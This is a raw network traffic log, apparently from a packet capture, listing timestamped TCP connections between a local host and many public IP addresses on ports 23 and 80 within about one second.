Jun 1, 2024 18:15:53.266182899 CEST	23	44374	94.35.2.45	192.168.2.23
Jun 1, 2024 18:15:53.266191959 CEST	23	36422	99.197.85.43	192.168.2.23
Jun 1, 2024 18:15:53.266201019 CEST	23	58056	150.10.234.232	192.168.2.23
Jun 1, 2024 18:15:53.266208887 CEST	23	38110	44.119.26.186	192.168.2.23
Jun 1, 2024 18:15:53.266212940 CEST	43030	23	192.168.2.23	4.11.209.54
Jun 1, 2024 18:15:53.266216993 CEST	23	50080	212.41.104.134	192.168.2.23
Jun 1, 2024 18:15:53.266226053 CEST	23	35728	135.113.1.250	192.168.2.23
Jun 1, 2024 18:15:53.266235113 CEST	23	36326	135.113.1.250	192.168.2.23
Jun 1, 2024 18:15:53.266242981 CEST	23	51674	85.65.84.38	192.168.2.23
Jun 1, 2024 18:15:53.266252041 CEST	23	39388	176.167.75.84	192.168.2.23
Jun 1, 2024 18:15:53.266259909 CEST	43460	23	192.168.2.23	4.11.209.54
Jun 1, 2024 18:15:53.266259909 CEST	23	39992	176.167.75.84	192.168.2.23
Jun 1, 2024 18:15:53.266268969 CEST	23	51114	20.102.146.245	192.168.2.23
Jun 1, 2024 18:15:53.266278028 CEST	23	58098	212.78.208.187	192.168.2.23
Jun 1, 2024 18:15:53.266278028 CEST	36326	23	192.168.2.23	135.113.1.250
Jun 1, 2024 18:15:53.266284943 CEST	39992	23	192.168.2.23	176.167.75.84
Jun 1, 2024 18:15:53.266285896 CEST	49132	23	192.168.2.23	153.62.202.152
Jun 1, 2024 18:15:53.266285896 CEST	23	51706	20.102.146.245	192.168.2.23
Jun 1, 2024 18:15:53.266295910 CEST	23	59886	88.91.246.130	192.168.2.23
Jun 1, 2024 18:15:53.266304970 CEST	23	60488	88.91.246.130	192.168.2.23
Jun 1, 2024 18:15:53.266314030 CEST	23	57682	73.105.9.191	192.168.2.23
Jun 1, 2024 18:15:53.266314030 CEST	49562	23	192.168.2.23	153.62.202.152
Jun 1, 2024 18:15:53.266323090 CEST	23	56500	91.245.155.191	192.168.2.23
Jun 1, 2024 18:15:53.266331911 CEST	23	57094	91.245.155.191	192.168.2.23
Jun 1, 2024 18:15:53.266333103 CEST	51706	23	192.168.2.23	20.102.146.245
Jun 1, 2024 18:15:53.266335964 CEST	60488	23	192.168.2.23	88.91.246.130
Jun 1, 2024 18:15:53.266341925 CEST	23	34970	207.189.117.87	192.168.2.23
Jun 1, 2024 18:15:53.266352892 CEST	53798	23	192.168.2.23	193.15.169.50
Jun 1, 2024 18:15:53.266355038 CEST	57094	23	192.168.2.23	91.245.155.191
Jun 1, 2024 18:15:53.266356945 CEST	23	40976	80.93.24.36	192.168.2.23
Jun 1, 2024 18:15:53.266366005 CEST	23	48382	108.155.26.174	192.168.2.23
Jun 1, 2024 18:15:53.266374111 CEST	54228	23	192.168.2.23	193.15.169.50
Jun 1, 2024 18:15:53.266375065 CEST	23	48280	70.110.18.41	192.168.2.23
Jun 1, 2024 18:15:53.266377926 CEST	59688	23	192.168.2.23	1.241.59.50
Jun 1, 2024 18:15:53.266383886 CEST	23	34444	101.103.92.81	192.168.2.23
Jun 1, 2024 18:15:53.266393900 CEST	23	48978	108.155.26.174	192.168.2.23
Jun 1, 2024 18:15:53.266402006 CEST	60116	23	192.168.2.23	1.241.59.50
Jun 1, 2024 18:15:53.266402960 CEST	23	53934	69.166.177.188	192.168.2.23
Jun 1, 2024 18:15:53.266402960 CEST	54442	23	192.168.2.23	121.212.180.108
Jun 1, 2024 18:15:53.266412020 CEST	23	54524	69.166.177.188	192.168.2.23
Jun 1, 2024 18:15:53.266419888 CEST	23	59342	221.14.192.219	192.168.2.23
Jun 1, 2024 18:15:53.266419888 CEST	48978	23	192.168.2.23	108.155.26.174
Jun 1, 2024 18:15:53.266427994 CEST	80	47804	161.166.48.249	192.168.2.23
Jun 1, 2024 18:15:53.266432047 CEST	23	45236	82.49.219.9	192.168.2.23
Jun 1, 2024 18:15:53.266439915 CEST	54870	23	192.168.2.23	121.212.180.108
Jun 1, 2024 18:15:53.266439915 CEST	80	43646	121.59.20.215	192.168.2.23
Jun 1, 2024 18:15:53.266447067 CEST	54524	23	192.168.2.23	69.166.177.188
Jun 1, 2024 18:15:53.266448975 CEST	23	52204	126.48.142.44	192.168.2.23
Jun 1, 2024 18:15:53.266458988 CEST	23	45822	82.49.219.9	192.168.2.23
Jun 1, 2024 18:15:53.266469002 CEST	80	60716	18.69.98.66	192.168.2.23
Jun 1, 2024 18:15:53.266477108 CEST	23	52790	126.48.142.44	192.168.2.23
Jun 1, 2024 18:15:53.266485929 CEST	23	48276	67.153.148.199	192.168.2.23
Jun 1, 2024 18:15:53.266486883 CEST	45822	23	192.168.2.23	82.49.219.9
Jun 1, 2024 18:15:53.266494036 CEST	23	50342	150.219.141.42	192.168.2.23
Jun 1, 2024 18:15:53.266501904 CEST	52790	23	192.168.2.23	126.48.142.44
Jun 1, 2024 18:15:53.266503096 CEST	80	40782	170.90.134.85	192.168.2.23
Jun 1, 2024 18:15:53.266511917 CEST	80	56362	44.214.37.113	192.168.2.23
Jun 1, 2024 18:15:53.266520977 CEST	80	45146	98.220.77.102	192.168.2.23
Jun 1, 2024 18:15:53.266525984 CEST	39496	23	192.168.2.23	59.197.105.179
Jun 1, 2024 18:15:53.266530037 CEST	23	50928	150.219.141.42	192.168.2.23
Jun 1, 2024 18:15:53.266530991 CEST	39924	23	192.168.2.23	59.197.105.179
Jun 1, 2024 18:15:53.266534090 CEST	41066	23	192.168.2.23	192.57.0.134
Jun 1, 2024 18:15:53.266546965 CEST	23	52990	38.63.5.116	192.168.2.23
Jun 1, 2024 18:15:53.266556025 CEST	23	36296	65.204.172.161	192.168.2.23
Jun 1, 2024 18:15:53.266556978 CEST	50928	23	192.168.2.23	150.219.141.42
Jun 1, 2024 18:15:53.266560078 CEST	41488	23	192.168.2.23	192.57.0.134
Jun 1, 2024 18:15:53.266565084 CEST	23	36882	65.204.172.161	192.168.2.23
Jun 1, 2024 18:15:53.266566992 CEST	50324	23	192.168.2.23	74.190.54.123
Jun 1, 2024 18:15:53.266575098 CEST	80	54366	48.52.58.128	192.168.2.23
Jun 1, 2024 18:15:53.266583920 CEST	23	36968	41.66.20.111	192.168.2.23
Jun 1, 2024 18:15:53.266592979 CEST	23	37552	41.66.20.111	192.168.2.23
Jun 1, 2024 18:15:53.266596079 CEST	36882	23	192.168.2.23	65.204.172.161
Jun 1, 2024 18:15:53.266597033 CEST	44374	23	192.168.2.23	94.35.2.45
Jun 1, 2024 18:15:53.266598940 CEST	50746	23	192.168.2.23	74.190.54.123
Jun 1, 2024 18:15:53.266602039 CEST	23	33218	42.82.24.91	192.168.2.23
Jun 1, 2024 18:15:53.266608000 CEST	44796	23	192.168.2.23	94.35.2.45
Jun 1, 2024 18:15:53.266612053 CEST	23	33800	42.82.24.91	192.168.2.23
Jun 1, 2024 18:15:53.266622066 CEST	36422	23	192.168.2.23	99.197.85.43
Jun 1, 2024 18:15:53.266622066 CEST	23	41820	61.189.238.125	192.168.2.23
Jun 1, 2024 18:15:53.266623020 CEST	37552	23	192.168.2.23	41.66.20.111
Jun 1, 2024 18:15:53.266633034 CEST	23	42400	61.189.238.125	192.168.2.23
Jun 1, 2024 18:15:53.266635895 CEST	33800	23	192.168.2.23	42.82.24.91
Jun 1, 2024 18:15:53.266638994 CEST	36844	23	192.168.2.23	99.197.85.43
Jun 1, 2024 18:15:53.266643047 CEST	23	51268	85.63.105.242	192.168.2.23
Jun 1, 2024 18:15:53.266645908 CEST	58056	23	192.168.2.23	150.10.234.232
Jun 1, 2024 18:15:53.266653061 CEST	23	51848	85.63.105.242	192.168.2.23
Jun 1, 2024 18:15:53.266661882 CEST	80	44808	188.248.176.49	192.168.2.23
Jun 1, 2024 18:15:53.266668081 CEST	42400	23	192.168.2.23	61.189.238.125
Jun 1, 2024 18:15:53.266670942 CEST	23	54422	64.64.201.126	192.168.2.23
Jun 1, 2024 18:15:53.266669989 CEST	58478	23	192.168.2.23	150.10.234.232
Jun 1, 2024 18:15:53.266680956 CEST	23	42756	119.20.37.113	192.168.2.23
Jun 1, 2024 18:15:53.266683102 CEST	51848	23	192.168.2.23	85.63.105.242
Jun 1, 2024 18:15:53.266690969 CEST	23	55002	64.64.201.126	192.168.2.23
Jun 1, 2024 18:15:53.266695976 CEST	50080	23	192.168.2.23	212.41.104.134
Jun 1, 2024 18:15:53.266700983 CEST	80	43374	112.217.71.237	192.168.2.23
Jun 1, 2024 18:15:53.266710043 CEST	23	43336	119.20.37.113	192.168.2.23
Jun 1, 2024 18:15:53.266711950 CEST	50502	23	192.168.2.23	212.41.104.134
Jun 1, 2024 18:15:53.266719103 CEST	23	53498	71.141.166.11	192.168.2.23
Jun 1, 2024 18:15:53.266726971 CEST	55002	23	192.168.2.23	64.64.201.126
Jun 1, 2024 18:15:53.266729116 CEST	23	54078	71.141.166.11	192.168.2.23
Jun 1, 2024 18:15:53.266741991 CEST	51674	23	192.168.2.23	85.65.84.38
Jun 1, 2024 18:15:53.266742945 CEST	38532	23	192.168.2.23	44.119.26.186
Jun 1, 2024 18:15:53.266742945 CEST	80	47738	31.117.7.12	192.168.2.23
Jun 1, 2024 18:15:53.266742945 CEST	38110	23	192.168.2.23	44.119.26.186
Jun 1, 2024 18:15:53.266742945 CEST	43336	23	192.168.2.23	119.20.37.113
Jun 1, 2024 18:15:53.266755104 CEST	23	59604	126.83.226.0	192.168.2.23
Jun 1, 2024 18:15:53.266758919 CEST	54078	23	192.168.2.23	71.141.166.11
Jun 1, 2024 18:15:53.266765118 CEST	23	60184	126.83.226.0	192.168.2.23
Jun 1, 2024 18:15:53.266774893 CEST	23	50632	157.59.67.4	192.168.2.23
Jun 1, 2024 18:15:53.266774893 CEST	52096	23	192.168.2.23	85.65.84.38
Jun 1, 2024 18:15:53.266783953 CEST	80	36442	77.156.147.3	192.168.2.23
Jun 1, 2024 18:15:53.266793013 CEST	23	33104	179.82.94.122	192.168.2.23
Jun 1, 2024 18:15:53.266801119 CEST	80	44764	5.69.223.73	192.168.2.23
Jun 1, 2024 18:15:53.266801119 CEST	58098	23	192.168.2.23	212.78.208.187
Jun 1, 2024 18:15:53.266801119 CEST	60184	23	192.168.2.23	126.83.226.0
Jun 1, 2024 18:15:53.266810894 CEST	23	39718	43.50.166.227	192.168.2.23
Jun 1, 2024 18:15:53.266819954 CEST	80	51466	212.199.183.185	192.168.2.23
Jun 1, 2024 18:15:53.266823053 CEST	58518	23	192.168.2.23	212.78.208.187
Jun 1, 2024 18:15:53.266829014 CEST	80	46544	51.243.182.171	192.168.2.23
Jun 1, 2024 18:15:53.266839027 CEST	80	37006	72.194.176.69	192.168.2.23
Jun 1, 2024 18:15:53.266839027 CEST	57682	23	192.168.2.23	73.105.9.191
Jun 1, 2024 18:15:53.266849041 CEST	80	44858	117.241.145.89	192.168.2.23
Jun 1, 2024 18:15:53.266856909 CEST	80	58564	142.5.237.169	192.168.2.23
Jun 1, 2024 18:15:53.266859055 CEST	58102	23	192.168.2.23	73.105.9.191
Jun 1, 2024 18:15:53.266865969 CEST	80	58558	186.28.217.117	192.168.2.23
Jun 1, 2024 18:15:53.266875982 CEST	80	50052	95.237.237.156	192.168.2.23
Jun 1, 2024 18:15:53.266880989 CEST	34970	23	192.168.2.23	207.189.117.87
Jun 1, 2024 18:15:53.266884089 CEST	80	43042	68.39.123.219	192.168.2.23
Jun 1, 2024 18:15:53.266894102 CEST	80	34944	194.252.4.200	192.168.2.23
Jun 1, 2024 18:15:53.266901970 CEST	80	53282	128.101.239.153	192.168.2.23
Jun 1, 2024 18:15:53.266905069 CEST	35390	23	192.168.2.23	207.189.117.87
Jun 1, 2024 18:15:53.266911030 CEST	80	47752	57.222.230.206	192.168.2.23
Jun 1, 2024 18:15:53.266913891 CEST	48280	23	192.168.2.23	70.110.18.41
Jun 1, 2024 18:15:53.266921043 CEST	80	55780	140.5.76.153	192.168.2.23
Jun 1, 2024 18:15:53.266930103 CEST	80	57246	174.194.105.235	192.168.2.23
Jun 1, 2024 18:15:53.266942978 CEST	80	44594	145.100.188.83	192.168.2.23
Jun 1, 2024 18:15:53.266946077 CEST	48700	23	192.168.2.23	70.110.18.41
Jun 1, 2024 18:15:53.266952038 CEST	80	39976	202.24.92.234	192.168.2.23
Jun 1, 2024 18:15:53.266956091 CEST	34444	23	192.168.2.23	101.103.92.81
Jun 1, 2024 18:15:53.266961098 CEST	80	51632	149.127.43.235	192.168.2.23
Jun 1, 2024 18:15:53.266969919 CEST	80	60306	37.168.229.134	192.168.2.23
Jun 1, 2024 18:15:53.266977072 CEST	34862	23	192.168.2.23	101.103.92.81
Jun 1, 2024 18:15:53.266978979 CEST	80	39946	107.165.24.228	192.168.2.23
Jun 1, 2024 18:15:53.266988039 CEST	80	58704	78.247.12.109	192.168.2.23
Jun 1, 2024 18:15:53.266999960 CEST	80	44324	34.240.253.41	192.168.2.23
Jun 1, 2024 18:15:53.267009020 CEST	80	33054	193.77.243.238	192.168.2.23
Jun 1, 2024 18:15:53.267016888 CEST	80	37980	92.126.90.34	192.168.2.23
Jun 1, 2024 18:15:53.267025948 CEST	80	54362	149.115.99.191	192.168.2.23
Jun 1, 2024 18:15:53.267034054 CEST	80	52368	98.108.66.200	192.168.2.23
Jun 1, 2024 18:15:53.267041922 CEST	80	51118	198.208.129.228	192.168.2.23
Jun 1, 2024 18:15:53.267050982 CEST	23	40294	43.50.166.227	192.168.2.23
Jun 1, 2024 18:15:53.267060041 CEST	23	60240	57.1.75.18	192.168.2.23
Jun 1, 2024 18:15:53.267069101 CEST	23	60816	57.1.75.18	192.168.2.23
Jun 1, 2024 18:15:53.267077923 CEST	23	42718	211.71.207.56	192.168.2.23
Jun 1, 2024 18:15:53.267077923 CEST	40294	23	192.168.2.23	43.50.166.227
Jun 1, 2024 18:15:53.267086983 CEST	23	43294	211.71.207.56	192.168.2.23
Jun 1, 2024 18:15:53.267095089 CEST	60816	23	192.168.2.23	57.1.75.18
Jun 1, 2024 18:15:53.267096043 CEST	23	45878	135.231.125.251	192.168.2.23
Jun 1, 2024 18:15:53.267105103 CEST	23	53428	148.117.169.218	192.168.2.23
Jun 1, 2024 18:15:53.267113924 CEST	23	54004	148.117.169.218	192.168.2.23
Jun 1, 2024 18:15:53.267122984 CEST	80	35736	146.154.17.102	192.168.2.23
Jun 1, 2024 18:15:53.267122984 CEST	43294	23	192.168.2.23	211.71.207.56
Jun 1, 2024 18:15:53.267138958 CEST	80	42676	118.56.224.81	192.168.2.23
Jun 1, 2024 18:15:53.267143011 CEST	54004	23	192.168.2.23	148.117.169.218
Jun 1, 2024 18:15:53.267148018 CEST	80	46288	134.10.23.167	192.168.2.23
Jun 1, 2024 18:15:53.267158985 CEST	35736	80	192.168.2.23	146.154.17.102
Jun 1, 2024 18:15:53.267163992 CEST	42676	80	192.168.2.23	118.56.224.81
Jun 1, 2024 18:15:53.267177105 CEST	46288	80	192.168.2.23	134.10.23.167
Jun 1, 2024 18:15:53.267178059 CEST	23	34860	60.100.41.110	192.168.2.23
Jun 1, 2024 18:15:53.267188072 CEST	23	35436	60.100.41.110	192.168.2.23
Jun 1, 2024 18:15:53.267206907 CEST	23	44832	197.144.199.60	192.168.2.23
Jun 1, 2024 18:15:53.267215967 CEST	23	45402	197.144.199.60	192.168.2.23
Jun 1, 2024 18:15:53.267216921 CEST	35436	23	192.168.2.23	60.100.41.110
Jun 1, 2024 18:15:53.267225027 CEST	80	49032	91.176.40.173	192.168.2.23
Jun 1, 2024 18:15:53.267232895 CEST	80	53886	115.206.192.214	192.168.2.23
Jun 1, 2024 18:15:53.267241955 CEST	80	38126	42.244.32.219	192.168.2.23
Jun 1, 2024 18:15:53.267245054 CEST	45402	23	192.168.2.23	197.144.199.60
Jun 1, 2024 18:15:53.267250061 CEST	80	51118	198.208.129.228	192.168.2.23
Jun 1, 2024 18:15:53.267256975 CEST	53886	80	192.168.2.23	115.206.192.214
Jun 1, 2024 18:15:53.267257929 CEST	49032	80	192.168.2.23	91.176.40.173
Jun 1, 2024 18:15:53.267261982 CEST	80	52368	98.108.66.200	192.168.2.23
Jun 1, 2024 18:15:53.267270088 CEST	80	54362	149.115.99.191	192.168.2.23
Jun 1, 2024 18:15:53.267271042 CEST	38126	80	192.168.2.23	42.244.32.219
Jun 1, 2024 18:15:53.267278910 CEST	51118	80	192.168.2.23	198.208.129.228
Jun 1, 2024 18:15:53.267278910 CEST	80	37980	92.126.90.34	192.168.2.23
Jun 1, 2024 18:15:53.267281055 CEST	52368	80	192.168.2.23	98.108.66.200
Jun 1, 2024 18:15:53.267288923 CEST	80	33054	193.77.243.238	192.168.2.23
Jun 1, 2024 18:15:53.267292023 CEST	54362	80	192.168.2.23	149.115.99.191
Jun 1, 2024 18:15:53.267297983 CEST	80	44324	34.240.253.41	192.168.2.23
Jun 1, 2024 18:15:53.267306089 CEST	37980	80	192.168.2.23	92.126.90.34
Jun 1, 2024 18:15:53.267307043 CEST	80	58704	78.247.12.109	192.168.2.23
Jun 1, 2024 18:15:53.267313957 CEST	33054	80	192.168.2.23	193.77.243.238
Jun 1, 2024 18:15:53.267316103 CEST	80	39946	107.165.24.228	192.168.2.23
Jun 1, 2024 18:15:53.267328024 CEST	80	60306	37.168.229.134	192.168.2.23
Jun 1, 2024 18:15:53.267333031 CEST	58704	80	192.168.2.23	78.247.12.109
Jun 1, 2024 18:15:53.267334938 CEST	44324	80	192.168.2.23	34.240.253.41
Jun 1, 2024 18:15:53.267347097 CEST	39946	80	192.168.2.23	107.165.24.228
Jun 1, 2024 18:15:53.267350912 CEST	80	51632	149.127.43.235	192.168.2.23
Jun 1, 2024 18:15:53.267354965 CEST	60306	80	192.168.2.23	37.168.229.134
Jun 1, 2024 18:15:53.267360926 CEST	23	59302	210.154.194.130	192.168.2.23
Jun 1, 2024 18:15:53.267369986 CEST	23	59744	210.154.194.130	192.168.2.23
Jun 1, 2024 18:15:53.267378092 CEST	80	39976	202.24.92.234	192.168.2.23
Jun 1, 2024 18:15:53.267386913 CEST	80	44594	145.100.188.83	192.168.2.23
Jun 1, 2024 18:15:53.267391920 CEST	51632	80	192.168.2.23	149.127.43.235
Jun 1, 2024 18:15:53.267395973 CEST	23	47038	124.240.206.147	192.168.2.23
Jun 1, 2024 18:15:53.267400980 CEST	39976	80	192.168.2.23	202.24.92.234
Jun 1, 2024 18:15:53.267401934 CEST	59744	23	192.168.2.23	210.154.194.130
Jun 1, 2024 18:15:53.267406940 CEST	23	59430	159.100.13.109	192.168.2.23
Jun 1, 2024 18:15:53.267416000 CEST	80	57246	174.194.105.235	192.168.2.23
Jun 1, 2024 18:15:53.267416954 CEST	44594	80	192.168.2.23	145.100.188.83
Jun 1, 2024 18:15:53.267433882 CEST	23	59866	159.100.13.109	192.168.2.23
Jun 1, 2024 18:15:53.267437935 CEST	57246	80	192.168.2.23	174.194.105.235
Jun 1, 2024 18:15:53.267443895 CEST	23	34982	2.132.81.74	192.168.2.23
Jun 1, 2024 18:15:53.267452955 CEST	23	35428	2.132.81.74	192.168.2.23
Jun 1, 2024 18:15:53.267465115 CEST	59866	23	192.168.2.23	159.100.13.109
Jun 1, 2024 18:15:53.267469883 CEST	80	55780	140.5.76.153	192.168.2.23
Jun 1, 2024 18:15:53.267473936 CEST	35428	23	192.168.2.23	2.132.81.74
Jun 1, 2024 18:15:53.267478943 CEST	23	57596	18.19.48.185	192.168.2.23
Jun 1, 2024 18:15:53.267488003 CEST	80	47752	57.222.230.206	192.168.2.23
Jun 1, 2024 18:15:53.267498970 CEST	23	34210	198.118.127.110	192.168.2.23
Jun 1, 2024 18:15:53.267502069 CEST	55780	80	192.168.2.23	140.5.76.153
Jun 1, 2024 18:15:53.267509937 CEST	23	58032	18.19.48.185	192.168.2.23
Jun 1, 2024 18:15:53.267517090 CEST	47752	80	192.168.2.23	57.222.230.206
Jun 1, 2024 18:15:53.267519951 CEST	23	40316	1.12.235.252	192.168.2.23
Jun 1, 2024 18:15:53.267530918 CEST	23	34646	198.118.127.110	192.168.2.23
Jun 1, 2024 18:15:53.267539024 CEST	23	40752	1.12.235.252	192.168.2.23
Jun 1, 2024 18:15:53.267548084 CEST	80	53282	128.101.239.153	192.168.2.23
Jun 1, 2024 18:15:53.267548084 CEST	58032	23	192.168.2.23	18.19.48.185
Jun 1, 2024 18:15:53.267560959 CEST	34646	23	192.168.2.23	198.118.127.110
Jun 1, 2024 18:15:53.267563105 CEST	40752	23	192.168.2.23	1.12.235.252
Jun 1, 2024 18:15:53.267565012 CEST	80	34944	194.252.4.200	192.168.2.23
Jun 1, 2024 18:15:53.267576933 CEST	53282	80	192.168.2.23	128.101.239.153
Jun 1, 2024 18:15:53.267596006 CEST	34944	80	192.168.2.23	194.252.4.200
Jun 1, 2024 18:15:53.268198967 CEST	80	43042	68.39.123.219	192.168.2.23
Jun 1, 2024 18:15:53.268208981 CEST	80	50052	95.237.237.156	192.168.2.23
Jun 1, 2024 18:15:53.268217087 CEST	23	52100	35.17.185.149	192.168.2.23
Jun 1, 2024 18:15:53.268228054 CEST	23	52536	35.17.185.149	192.168.2.23
Jun 1, 2024 18:15:53.268237114 CEST	43042	80	192.168.2.23	68.39.123.219
Jun 1, 2024 18:15:53.268237114 CEST	50052	80	192.168.2.23	95.237.237.156
Jun 1, 2024 18:15:53.268238068 CEST	23	47260	80.181.152.249	192.168.2.23
Jun 1, 2024 18:15:53.268256903 CEST	23	51740	186.185.212.232	192.168.2.23
Jun 1, 2024 18:15:53.268258095 CEST	52536	23	192.168.2.23	35.17.185.149
Jun 1, 2024 18:15:53.268266916 CEST	23	47696	80.181.152.249	192.168.2.23
Jun 1, 2024 18:15:53.268276930 CEST	23	52176	186.185.212.232	192.168.2.23
Jun 1, 2024 18:15:53.268305063 CEST	52176	23	192.168.2.23	186.185.212.232
Jun 1, 2024 18:15:53.268306017 CEST	47696	23	192.168.2.23	80.181.152.249
Jun 1, 2024 18:15:53.268547058 CEST	80	58558	186.28.217.117	192.168.2.23
Jun 1, 2024 18:15:53.268583059 CEST	58558	80	192.168.2.23	186.28.217.117
Jun 1, 2024 18:15:53.268614054 CEST	23	42704	67.220.156.180	192.168.2.23
Jun 1, 2024 18:15:53.268651009 CEST	23	42268	67.220.156.180	192.168.2.23
Jun 1, 2024 18:15:53.268654108 CEST	42704	23	192.168.2.23	67.220.156.180
Jun 1, 2024 18:15:53.268661022 CEST	23	43642	67.109.44.47	192.168.2.23
Jun 1, 2024 18:15:53.268671036 CEST	80	58564	142.5.237.169	192.168.2.23
Jun 1, 2024 18:15:53.268681049 CEST	23	44078	67.109.44.47	192.168.2.23
Jun 1, 2024 18:15:53.268703938 CEST	58564	80	192.168.2.23	142.5.237.169
Jun 1, 2024 18:15:53.268707037 CEST	44078	23	192.168.2.23	67.109.44.47
Jun 1, 2024 18:15:53.268723011 CEST	23	58174	75.205.15.224	192.168.2.23
Jun 1, 2024 18:15:53.268733978 CEST	23	58610	75.205.15.224	192.168.2.23
Jun 1, 2024 18:15:53.268745899 CEST	80	44858	117.241.145.89	192.168.2.23
Jun 1, 2024 18:15:53.268770933 CEST	58610	23	192.168.2.23	75.205.15.224
Jun 1, 2024 18:15:53.268770933 CEST	44858	80	192.168.2.23	117.241.145.89
Jun 1, 2024 18:15:53.268785000 CEST	23	54076	77.239.54.162	192.168.2.23
Jun 1, 2024 18:15:53.268819094 CEST	23	54508	77.239.54.162	192.168.2.23
Jun 1, 2024 18:15:53.268851995 CEST	54508	23	192.168.2.23	77.239.54.162
Jun 1, 2024 18:15:53.268882036 CEST	80	37006	72.194.176.69	192.168.2.23
Jun 1, 2024 18:15:53.268892050 CEST	80	44994	5.69.223.73	192.168.2.23
Jun 1, 2024 18:15:53.268901110 CEST	80	36674	77.156.147.3	192.168.2.23
Jun 1, 2024 18:15:53.268910885 CEST	80	47972	31.117.7.12	192.168.2.23
Jun 1, 2024 18:15:53.268919945 CEST	80	43608	112.217.71.237	192.168.2.23
Jun 1, 2024 18:15:53.268933058 CEST	37006	80	192.168.2.23	72.194.176.69
Jun 1, 2024 18:15:53.268938065 CEST	80	45044	188.248.176.49	192.168.2.23
Jun 1, 2024 18:15:53.268948078 CEST	80	45382	98.220.77.102	192.168.2.23
Jun 1, 2024 18:15:53.268958092 CEST	80	56598	44.214.37.113	192.168.2.23
Jun 1, 2024 18:15:53.268968105 CEST	80	41018	170.90.134.85	192.168.2.23
Jun 1, 2024 18:15:53.268976927 CEST	80	60952	18.69.98.66	192.168.2.23
Jun 1, 2024 18:15:53.268989086 CEST	80	48040	161.166.48.249	192.168.2.23
Jun 1, 2024 18:15:53.268999100 CEST	80	43882	121.59.20.215	192.168.2.23
Jun 1, 2024 18:15:53.269007921 CEST	80	57504	37.47.52.166	192.168.2.23
Jun 1, 2024 18:15:53.269026995 CEST	80	57628	24.4.140.180	192.168.2.23
Jun 1, 2024 18:15:53.269037008 CEST	80	51156	87.130.72.182	192.168.2.23
Jun 1, 2024 18:15:53.269046068 CEST	80	46544	51.243.182.171	192.168.2.23
Jun 1, 2024 18:15:53.269054890 CEST	80	34826	123.28.179.254	192.168.2.23
Jun 1, 2024 18:15:53.269063950 CEST	80	40888	60.55.180.73	192.168.2.23
Jun 1, 2024 18:15:53.269073009 CEST	80	53220	80.252.121.45	192.168.2.23
Jun 1, 2024 18:15:53.269078016 CEST	46544	80	192.168.2.23	51.243.182.171
Jun 1, 2024 18:15:53.269084930 CEST	80	45600	50.235.115.106	192.168.2.23
Jun 1, 2024 18:15:53.269095898 CEST	80	55042	173.142.129.181	192.168.2.23
Jun 1, 2024 18:15:53.269104958 CEST	80	49098	191.185.132.251	192.168.2.23
Jun 1, 2024 18:15:53.269124031 CEST	80	42398	198.139.79.120	192.168.2.23
Jun 1, 2024 18:15:53.269131899 CEST	80	38688	8.194.32.207	192.168.2.23
Jun 1, 2024 18:15:53.269143105 CEST	80	33134	118.131.29.171	192.168.2.23
Jun 1, 2024 18:15:53.269174099 CEST	80	43260	173.201.55.115	192.168.2.23
Jun 1, 2024 18:15:53.269185066 CEST	80	43284	160.171.210.51	192.168.2.23
Jun 1, 2024 18:15:53.269195080 CEST	80	52342	198.24.255.213	192.168.2.23
Jun 1, 2024 18:15:53.269205093 CEST	80	55550	51.180.72.227	192.168.2.23
Jun 1, 2024 18:15:53.269222975 CEST	80	45874	144.192.66.230	192.168.2.23
Jun 1, 2024 18:15:53.269232988 CEST	80	34212	112.152.48.8	192.168.2.23
Jun 1, 2024 18:15:53.269243002 CEST	80	41304	113.32.208.233	192.168.2.23
Jun 1, 2024 18:15:53.269253016 CEST	80	33544	155.78.6.227	192.168.2.23
Jun 1, 2024 18:15:53.269269943 CEST	80	57118	162.133.179.162	192.168.2.23
Jun 1, 2024 18:15:53.269279957 CEST	80	51180	50.8.69.255	192.168.2.23
Jun 1, 2024 18:15:53.269289970 CEST	80	41092	136.107.130.201	192.168.2.23
Jun 1, 2024 18:15:53.269299984 CEST	80	54870	197.114.181.205	192.168.2.23
Jun 1, 2024 18:15:53.269309998 CEST	80	50552	159.209.163.86	192.168.2.23
Jun 1, 2024 18:15:53.269326925 CEST	80	49780	124.60.75.137	192.168.2.23
Jun 1, 2024 18:15:53.269336939 CEST	80	35258	158.4.130.100	192.168.2.23
Jun 1, 2024 18:15:53.269345999 CEST	80	51466	212.199.183.185	192.168.2.23
Jun 1, 2024 18:15:53.269355059 CEST	80	38224	154.1.74.103	192.168.2.23
Jun 1, 2024 18:15:53.269365072 CEST	80	39760	31.70.83.31	192.168.2.23
Jun 1, 2024 18:15:53.269382954 CEST	80	48056	204.135.242.117	192.168.2.23
Jun 1, 2024 18:15:53.269391060 CEST	51466	80	192.168.2.23	212.199.183.185
Jun 1, 2024 18:15:53.269392967 CEST	80	34178	106.16.15.220	192.168.2.23
Jun 1, 2024 18:15:53.269403934 CEST	80	55738	12.95.201.102	192.168.2.23
Jun 1, 2024 18:15:53.269413948 CEST	80	38538	48.234.108.156	192.168.2.23
Jun 1, 2024 18:15:53.269423008 CEST	80	54764	146.97.242.87	192.168.2.23
Jun 1, 2024 18:15:53.269433022 CEST	80	45126	25.87.20.30	192.168.2.23
Jun 1, 2024 18:15:53.269444942 CEST	80	50426	129.193.114.98	192.168.2.23
Jun 1, 2024 18:15:53.269454002 CEST	80	60452	58.199.54.70	192.168.2.23
Jun 1, 2024 18:15:53.269464016 CEST	80	41340	52.206.114.48	192.168.2.23
Jun 1, 2024 18:15:53.269481897 CEST	80	51400	108.85.135.218	192.168.2.23
Jun 1, 2024 18:15:53.269491911 CEST	80	56584	95.239.226.123	192.168.2.23
Jun 1, 2024 18:15:53.269500971 CEST	80	37772	41.62.241.247	192.168.2.23
Jun 1, 2024 18:15:53.269510031 CEST	80	37772	41.62.241.247	192.168.2.23
Jun 1, 2024 18:15:53.269519091 CEST	80	56584	95.239.226.123	192.168.2.23
Jun 1, 2024 18:15:53.269527912 CEST	80	51400	108.85.135.218	192.168.2.23
Jun 1, 2024 18:15:53.269536972 CEST	80	41340	52.206.114.48	192.168.2.23
Jun 1, 2024 18:15:53.269555092 CEST	80	60452	58.199.54.70	192.168.2.23
Jun 1, 2024 18:15:53.269558907 CEST	51400	80	192.168.2.23	108.85.135.218
Jun 1, 2024 18:15:53.269558907 CEST	37772	80	192.168.2.23	41.62.241.247
Jun 1, 2024 18:15:53.269558907 CEST	56584	80	192.168.2.23	95.239.226.123
Jun 1, 2024 18:15:53.269563913 CEST	80	50426	129.193.114.98	192.168.2.23
Jun 1, 2024 18:15:53.269567013 CEST	41340	80	192.168.2.23	52.206.114.48
Jun 1, 2024 18:15:53.269572973 CEST	80	45126	25.87.20.30	192.168.2.23
